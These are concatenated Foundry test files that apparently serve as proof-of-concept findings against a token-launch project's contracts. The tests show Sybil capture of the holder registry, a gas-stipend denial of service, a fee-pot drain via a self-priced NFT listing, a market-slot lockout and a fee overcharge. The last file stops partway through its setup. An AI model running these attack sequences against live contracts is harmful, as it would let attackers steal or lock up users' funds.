// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// @notice MAX_HOLDERS (128) x MIN_ENROLL_BALANCE (1,000 GOTCHI) = 128,000 GOTCHI = 0.0128% of supply
/// (~0.000256 ETH at the configured opening price) is all it takes to fill the registry. Once full, no
/// other holder can ever enrol, and every airdrop lands on the filler's addresses. Fails on the current
/// code (RegistryFull); passes when the cap is removed, when a larger holder can displace a smaller
/// enrolled one, or when the cap x minimum is raised beyond what a single actor can plausibly hold.
contract RegistryFillProof is Test {
    LaunchToken token;
    HolderWeightedPicker picker;
    address whale = makeAddr("whale");

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_largerHolderCanAlwaysEnrolAfterSybilsFillTheRegistry() public {
        uint256 min = picker.MIN_ENROLL_BALANCE();
        uint256 cap = picker.MAX_HOLDERS();
        uint256 whaleStake = 100_000_000e18; // 10% of supply
        if (cap * min + whaleStake > token.totalSupply()) return; // filling is no longer affordable: fixed
        // attacker spreads cap x min across fresh addresses and enrols each
        for (uint256 i = 0; i < cap; ++i) {
            address sybil = address(uint160(0x5151_0000 + i));
            token.transfer(sybil, min);
            vm.prank(sybil);
            picker.enroll();
        }
        assertEq(picker.holderCount(), cap);
        // a holder of 10% of the supply must still be able to become an airdrop candidate
        token.transfer(whale, whaleStake);
        vm.prank(whale);
        picker.enroll();
        assertTrue(picker.isEnrolled(whale), "whale must be enrolled");
        // and must carry its weight in the snapshot: with 128 x 1,000 vs 100,000,000 the whale wins ~99.9%
        uint256 id = picker.snapshot();
        (address w,) = picker.pick(id, uint256(keccak256("any word")) % 1 + (cap * min)); // target just past sybils
        assertEq(w, whale, "the whale must be reachable by the picker");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

contract GasProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    struct Data {
        address swapper;
        PoolKey key;
        SwapParams params;
    }

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(Data(msg.sender, key, params))), (BalanceDelta));
        uint256 leftover = address(this).balance;
        if (leftover > 0) {
            (bool ok,) = payable(msg.sender).call{value: leftover}("");
            require(ok, "refund failed");
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        Data memory data = abi.decode(raw, (Data));
        BalanceDelta delta = manager.swap(data.key, data.params, "");
        _settle(data.key.currency0, data.swapper, delta.amount0());
        _settle(data.key.currency1, data.swapper, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency currency, address swapper, int128 amount) private {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            if (currency.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                manager.sync(currency);
                IERC20(Currency.unwrap(currency)).transferFrom(swapper, address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(currency, swapper, uint256(uint128(amount)));
        }
    }
}

/// @notice FeeSink.tryBuy scans every active listing twice (cheapest() in tryBuy and again inside
/// buyCheapest). With MAX_ACTIVE_LISTINGS - 1 junk listings plus one affordable one the purchase needs
/// ~1.1M gas, but the hook forwards TRIGGER_GAS = 700k, so the in-swap purchase silently fails
/// (BuyPoked(false)) although the sink is above threshold and an affordable listing exists. Anyone can
/// create that state for free (mint + list). Fails now; passes once the stipend covers a full market
/// (or the market is capped / cheapest() made cheap enough to fit the stipend).
contract TriggerGasProof is Test {
    PoolManager manager;
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    FeeSink feeSink;
    GotchiFeeHook hook;
    ForeverLiquidity forever;
    GasProofRouter router;
    PoolKey key;

    address bob = makeAddr("bob");
    address seller = makeAddr("seller");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token));
        FlipEscrow escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer hd = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = hd.findSalt(address(manager), 0, 1_000_000);
        hook = hd.deploy(salt, address(manager), address(feeSink));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        router = new GasProofRouter(manager);
        key = forever.poolKey();
        uint160 p = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(p, p, p, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        vm.deal(bob, 100 ether);
    }

    function _list(uint256 price) internal {
        uint256 tokenId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(market), tokenId);
        market.list(tokenId, price);
        vm.stopPrank();
    }

    function test_inSwapPurchaseSucceedsWithAFullMarket() public {
        uint256 cap = market.MAX_ACTIVE_LISTINGS();
        for (uint256 i = 0; i + 1 < cap; ++i) {
            _list(1000 ether); // junk, never affordable
        }
        _list(0.002 ether); // the one the sink should buy
        assertEq(market.activeCount(), cap);
        // sink already above threshold before the swap
        (bool ok,) = address(feeSink).call{value: 0.02 ether}("");
        require(ok);
        (bool possible,) = feeSink.pendingBuy();
        assertTrue(possible, "precondition: a purchase is possible");

        vm.prank(bob);
        router.swap{value: 1 ether}(
            key, SwapParams({zeroForOne: true, amountSpecified: -1 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1})
        );
        assertEq(feeSink.buyCount(), 1, "afterSwap poke must complete the purchase");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";

/// @notice GotchiFeeHook._poke() calls FeeSink.tryBuy{gas: TRIGGER_GAS}() inside try/catch. The stipend
/// must cover tryBuy with the market at its documented bound MAX_ACTIVE_LISTINGS (cheapest() is scanned
/// twice: once in tryBuy and again in buyCheapest). This test reproduces exactly that call (same caller,
/// same stipend) with the market full and an affordable listing present, and asserts the purchase happens.
/// On the current tree tryBuy runs out of gas (~1.1M needed vs 700k), the call reverts, and in the real
/// afterSwap path the catch swallows it: no purchase, BuyPoked(false), fees pile up in the sink.
contract ProofTriggerGasTest is Test {
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink feeSink;
    GotchiFeeHook hook;

    address seller = makeAddr("seller");
    address dummyPoolManager = makeAddr("poolManager");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer deployer = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = deployer.findSalt(dummyPoolManager, 0, 1_000_000);
        hook = deployer.deploy(salt, dummyPoolManager, address(feeSink));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
    }

    function _list(uint256 price) internal returns (uint256 tokenId) {
        tokenId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(market), tokenId);
        market.list(tokenId, price);
        vm.stopPrank();
    }

    function test_inSwapStipendCoversTryBuyWithFullMarket() public {
        uint256 max = market.MAX_ACTIVE_LISTINGS();
        for (uint256 i = 0; i < max - 1; ++i) {
            _list(100 ether); // legitimately priced, unaffordable listings
        }
        uint256 cheapToken = _list(0.004 ether); // affordable, cheapest, last in the active array
        assertEq(market.activeCount(), max);

        vm.deal(address(feeSink), feeSink.MIN_BUY_THRESHOLD());
        (bool possible,) = feeSink.pendingBuy();
        assertTrue(possible, "a purchase is possible right now");

        // Exactly what GotchiFeeHook._poke does: msg.sender == hook, gas == TRIGGER_GAS.
        uint256 stipend = hook.TRIGGER_GAS();
        vm.prank(address(hook));
        (bool ok, bytes memory ret) = address(feeSink).call{gas: stipend}(abi.encodeCall(FeeSink.tryBuy, ()));

        assertTrue(ok, "tryBuy must not run out of gas under the hook's stipend with a full market");
        assertTrue(abi.decode(ret, (bool)), "the affordable listing must be bought");
        assertEq(nft.ownerOf(cheapToken), address(escrow), "NFT delivered to the escrow");
        assertEq(feeSink.buyCount(), 1);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// @dev Minimal ETH-in swap router: swaps for msg.sender and settles from msg.value.
contract DustRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swapEthIn(PoolKey memory key, uint256 ethIn) external payable {
        manager.unlock(abi.encode(msg.sender, key, ethIn));
        uint256 left = address(this).balance;
        if (left > 0) {
            (bool ok,) = payable(msg.sender).call{value: left}("");
            require(ok, "refund failed");
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (address swapper, PoolKey memory key, uint256 ethIn) = abi.decode(raw, (address, PoolKey, uint256));
        BalanceDelta d = manager.swap(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
            ""
        );
        if (d.amount0() < 0) manager.settle{value: uint256(uint128(-d.amount0()))}();
        if (d.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(d.amount1())));
        return "";
    }
}

/// Finding: FeeSink.tryBuy has no per-purchase price ceiling, and any swapper can trigger it through
/// afterSwap. A stranger mints a free mock NFT, lists it at exactly the sink's balance, and fires a
/// 300 wei swap (fee rounds to zero). The sink spends its entire accumulated fee pot on that one NFT.
contract ProofSinkDrainTest is Test {
    PoolManager manager;
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink feeSink;
    GotchiFeeHook hook;
    ForeverLiquidity forever;
    DustRouter router;
    PoolKey key;

    address attacker = makeAddr("attacker");
    address funder = makeAddr("funder");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer hd = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = hd.findSalt(address(manager), 0, 1_000_000);
        hook = hd.deploy(salt, address(manager), address(feeSink));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        key = forever.poolKey();

        uint160 p = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(p, p, p, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        router = new DustRouter(manager);

        // 1 ETH of accumulated swap fees sits in the sink (100x MIN_BUY_THRESHOLD).
        vm.deal(funder, 1 ether);
        vm.prank(funder);
        (bool ok,) = address(feeSink).call{value: 1 ether}("");
        require(ok);
        vm.deal(attacker, 1 ether);
    }

    function test_strangerCannotTakeTheWholePotWithOneFreeNft() public {
        uint256 pot = address(feeSink).balance;
        assertEq(pot, 1 ether);

        // Attacker: free mint, list at exactly the pot, trigger tryBuy with a fee-less dust swap.
        vm.startPrank(attacker);
        uint256 tokenId = nft.mint(attacker);
        nft.approve(address(market), tokenId);
        market.list(tokenId, pot);
        router.swapEthIn{value: 300}(key, 300); // calculateFee(300) == 0, so the pot is unchanged
        vm.stopPrank();

        // Expected: a single purchase is bounded (a price ceiling / per-buy budget), so the sink keeps
        // most of its fee pot and the stranger's listing at 100x the threshold is not bought.
        // Actual on this code: the whole 1 ETH goes to the attacker's proceeds in one purchase.
        assertLt(market.proceeds(attacker), pot, "one worthless listing must not absorb the entire fee pot");
        assertGt(address(feeSink).balance, 0, "sink emptied by a single stranger-priced purchase");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// Finding: MockBaazaar.list enforces MAX_ACTIVE_LISTINGS globally, mock NFTs are free to mint, and
/// listings never expire. One stranger fills all 64 slots at an unaffordable price; from then on no
/// other seller can list and FeeSink can never buy, so every wei of collected fees is stranded (the
/// sink has no withdraw) for as long as the attacker leaves the listings up.
contract ProofMarketFillTest is Test {
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink feeSink;

    address attacker = makeAddr("attacker");
    address seller = makeAddr("seller");
    address funder = makeAddr("funder");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(this));
        vm.deal(funder, 5 ether);
    }

    /// @dev Best-effort listing: a fix that caps or bonds per-seller listings simply stops the attacker here.
    function _tryList(address who, uint256 price) internal returns (bool ok) {
        uint256 tokenId = nft.mint(who);
        vm.startPrank(who);
        nft.approve(address(market), tokenId);
        (ok,) = address(market).call(abi.encodeCall(MockBaazaar.list, (tokenId, price)));
        vm.stopPrank();
    }

    function test_oneStrangerCannotFreezeTheMarketForEveryone() public {
        // Attacker: 64 free mints, 64 listings at 1,000,000 ETH each (gas is the only cost).
        for (uint256 i = 0; i < GotchiConfig.MAX_ACTIVE_LISTINGS; ++i) {
            _tryList(attacker, 1_000_000 ether);
        }
        // Fees keep arriving in the sink.
        vm.prank(funder);
        (bool ok,) = address(feeSink).call{value: 5 ether}("");
        require(ok);

        // Expected: an honest seller can still list an affordable gotchi and the sink buys it.
        // Actual: list reverts MarketFull, tryBuy returns false, 5 ETH sits in the sink forever.
        uint256 tokenId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(market), tokenId);
        (bool listed,) = address(market).call(abi.encodeCall(MockBaazaar.list, (tokenId, 0.005 ether)));
        vm.stopPrank();
        assertTrue(listed, "an unprivileged stranger must not be able to block every other seller");

        bool bought = feeSink.tryBuy();
        assertTrue(bought, "sink should be able to buy the honest affordable listing");
        assertEq(nft.ownerOf(tokenId), address(escrow));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// Finding: HolderWeightedPicker is a first-come registry capped at MAX_HOLDERS (128) with a
/// MIN_ENROLL_BALANCE of 1,000 GOTCHI. At the configured opening price (1 ETH : 500,000,000 GOTCHI)
/// the 128,000 GOTCHI needed to fill every slot cost 0.000256 ETH. Once filled, a holder of 10% of the
/// supply cannot enrol and cannot evict anyone, so every airdrop goes to the Sybil set: the brief's
/// "holder selected by $GOTCHI balance" guarantee is defeated.
contract ProofRegistrySybilTest is Test {
    LaunchToken token;
    HolderWeightedPicker picker;
    address whale = makeAddr("whale");

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_whaleCannotBeLockedOutByDustSybils() public {
        uint256 min = GotchiConfig.MIN_ENROLL_BALANCE;
        uint256 spent = 0;
        for (uint256 i = 0; i < GotchiConfig.MAX_HOLDERS; ++i) {
            address sybil = address(uint160(0x5B1100 + i));
            token.transfer(sybil, min);
            spent += min;
            vm.prank(sybil);
            // best effort: a fix that rejects or bonds dust enrolments simply stops the attacker here
            (bool enrolled,) = address(picker).call(abi.encodeCall(HolderWeightedPicker.enroll, ()));
            enrolled; // ignored on purpose
        }
        // Total Sybil stake with the shipped constants: 128,000 GOTCHI = 0.000256 ETH at the opening price
        // (spent * INITIAL_LIQUIDITY_ETH / INITIAL_LIQUIDITY_TOKENS = 256_000_000_000_000 wei).
        uint256 ethCost = spent * GotchiConfig.INITIAL_LIQUIDITY_ETH / GotchiConfig.INITIAL_LIQUIDITY_TOKENS;
        emit log_named_uint("sybil cost in wei at opening price", ethCost);

        token.transfer(whale, 100_000_000e18); // 10% of supply
        vm.prank(whale);
        (bool ok,) = address(picker).call(abi.encodeCall(HolderWeightedPicker.enroll, ()));
        // Expected: a holder with 10% of the supply can become an airdrop candidate.
        // Actual: RegistryFull; the whale has zero weight in every future snapshot.
        assertTrue(ok, "whale locked out by 0.000256 ETH of Sybil dust");
        assertTrue(picker.isEnrolled(whale));

        uint256 snap = picker.snapshot();
        assertGe(
            picker.snapshotInfo(snap).totalWeight, 100_000_000e18, "whale's balance must be part of the weight table"
        );
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// @notice 128 addresses holding the 1,000 GOTCHI minimum (128,000 GOTCHI = 0.0128% of supply, about
/// 0.00026 ETH at the default opening price) fill the registry for good. A holder with 10% of the supply
/// can then never become an airdrop candidate, so airdrops are not "weighted by $GOTCHI balance".
contract ProofRegistryCaptureTest is Test {
    LaunchToken internal token;
    HolderWeightedPicker internal picker;
    address internal whale = makeAddr("whale");

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_largeHolderCanStillBecomeACandidateAfterDustSybilsEnroll() public {
        uint256 minimum = picker.MIN_ENROLL_BALANCE();
        uint256 cap = picker.MAX_HOLDERS();
        for (uint256 i = 0; i < cap; ++i) {
            address sybil = address(uint160(0x51B1000 + i));
            token.transfer(sybil, minimum);
            vm.prank(sybil);
            picker.enroll();
        }
        // 100,000,000 GOTCHI: 781x the combined balance of every sybil.
        token.transfer(whale, 100_000_000e18);
        assertGt(token.balanceOf(whale), cap * minimum);

        vm.prank(whale);
        (bool ok,) = address(picker).call(abi.encodeCall(HolderWeightedPicker.enroll, ()));
        assertTrue(ok, "a holder of 10% of the supply is locked out by 0.0128% of dust sybils");
        assertTrue(picker.isEnrolled(whale), "whale is not an airdrop candidate");

        uint256 snapshotId = picker.snapshot();
        uint256 whaleWins = 0;
        for (uint256 i = 0; i < 100; ++i) {
            (address winner,) = picker.pick(snapshotId, uint256(keccak256(abi.encode(i))));
            if (winner == whale) whaleWins += 1;
        }
        assertGt(whaleWins, 90, "balance-weighted selection should overwhelmingly favour the whale");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @dev Minimal ETH-in swap router: the swapper sends ETH, receives tokens, and is refunded the rest.
contract ProofRouter is IUnlockCallback {
    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(msg.sender, key, params)), (BalanceDelta));
        (bool ok,) = payable(msg.sender).call{value: address(this).balance}("");
        require(ok, "refund failed");
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (address swapper, PoolKey memory key, SwapParams memory params) =
            abi.decode(raw, (address, PoolKey, SwapParams));
        BalanceDelta delta = manager.swap(key, params, "");
        if (delta.amount0() < 0) manager.settle{value: uint256(uint128(-delta.amount0()))}();
        if (delta.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(delta.amount1())));
        return abi.encode(delta);
    }
}

/// @dev The whole system wired exactly as the deploy recipe does, on a local PoolManager, seeded with the
/// default 1 ETH / 500,000,000 GOTCHI.
abstract contract ProofSystem is Test {
    PoolManager internal manager;
    LaunchToken internal token;
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    HolderWeightedPicker internal picker;
    FlipEscrow internal escrow;
    FeeSink internal feeSink;
    GotchiFeeHook internal hook;
    ForeverLiquidity internal forever;
    ProofRouter internal router;
    PoolKey internal key;
    uint160 internal startPrice;
    address internal swapper = makeAddr("swapper");

    receive() external payable {}

    function setUp() public virtual {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer deployer = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = deployer.findSalt(address(manager), 0, 1_000_000);
        hook = deployer.deploy(salt, address(manager), address(feeSink));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        router = new ProofRouter(IPoolManager(address(manager)));
        key = forever.poolKey();
        startPrice = forever.sqrtPriceFromAmounts(1 ether, 500_000_000e18);
        token.approve(address(forever), 500_000_000e18);
        forever.seed{value: 1 ether}(startPrice, startPrice, startPrice, 500_000_000e18);
        vm.deal(swapper, 100 ether);
    }
}

/// @notice When ETH is the specified currency the hook charges 30 bps of `amountSpecified` in beforeSwap,
/// before it knows how much the pool will fill. A swap that stops at its price limit still pays the fee on
/// the whole requested amount.
contract ProofPartialFillFeeTest is ProofSystem {
    function test_feeIsThirtyBpsOfTheEthActuallySwapped() public {
        // 10 ETH exact-in with a price limit 0.1% below the current sqrt price: the pool can only take
        // about 0.001 ETH before the limit is reached.
        uint160 limit = startPrice - startPrice / 1000;
        uint256 ethBefore = swapper.balance;
        vm.prank(swapper);
        router.swap{value: 10 ether}(key, SwapParams(true, -10 ether, limit));

        uint256 paid = ethBefore - swapper.balance; // pool leg + fee
        uint256 fee = address(feeSink).balance;
        uint256 swapped = paid - fee;
        assertGt(swapped, 0);
        assertLt(swapped, 0.0011 ether, "the swap filled only ~0.001 ETH");
        // FEE_BPS = 30: the fee must not exceed 30 bps of the ETH the swapper actually put in
        // (pool leg plus fee), which is how a fully filled exact-in swap is charged.
        assertLe(fee * 10_000, paid * 30, "fee charged on the unfilled part of the order");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @dev Minimal ETH-in swap router: the swapper sends ETH, receives tokens, and is refunded the rest.
contract ProofRouter is IUnlockCallback {
    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(msg.sender, key, params)), (BalanceDelta));
        (bool ok,) = payable(msg.sender).call{value: address(this).balance}("");
        require(ok, "refund failed");
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (address swapper, PoolKey memory key, SwapParams memory params) =
            abi.decode(raw, (address, PoolKey, SwapParams));
        BalanceDelta delta = manager.swap(key, params, "");
        if (delta.amount0() < 0) manager.settle{value: uint256(uint128(-delta.amount0()))}();
        if (delta.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(delta.amount1())));
        return abi.encode(delta);
    }
}

/// @dev The whole system wired exactly as the deploy recipe does, on a local PoolManager, seeded with the
/// default 1 ETH / 500,000,000 GOTCHI.
abstract contract ProofSystem is Test {
    PoolManager internal manager;
    LaunchToken internal token;
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    HolderWeightedPicker internal picker;
    FlipEscrow internal escrow;
    FeeSink internal feeSink;
    GotchiFeeHook internal hook;
    ForeverLiquidity internal forever;
    ProofRouter internal router;
    PoolKey internal key;
    uint160 internal startPrice;
    address internal swapper = makeAddr("swapper");

    receive() external payable {}

    function setUp() public virtual {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer deployer = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = deployer.findSalt(address(manager), 0, 1_000_000);
        hook = deployer.deploy(salt, address(manager), address(feeSink));
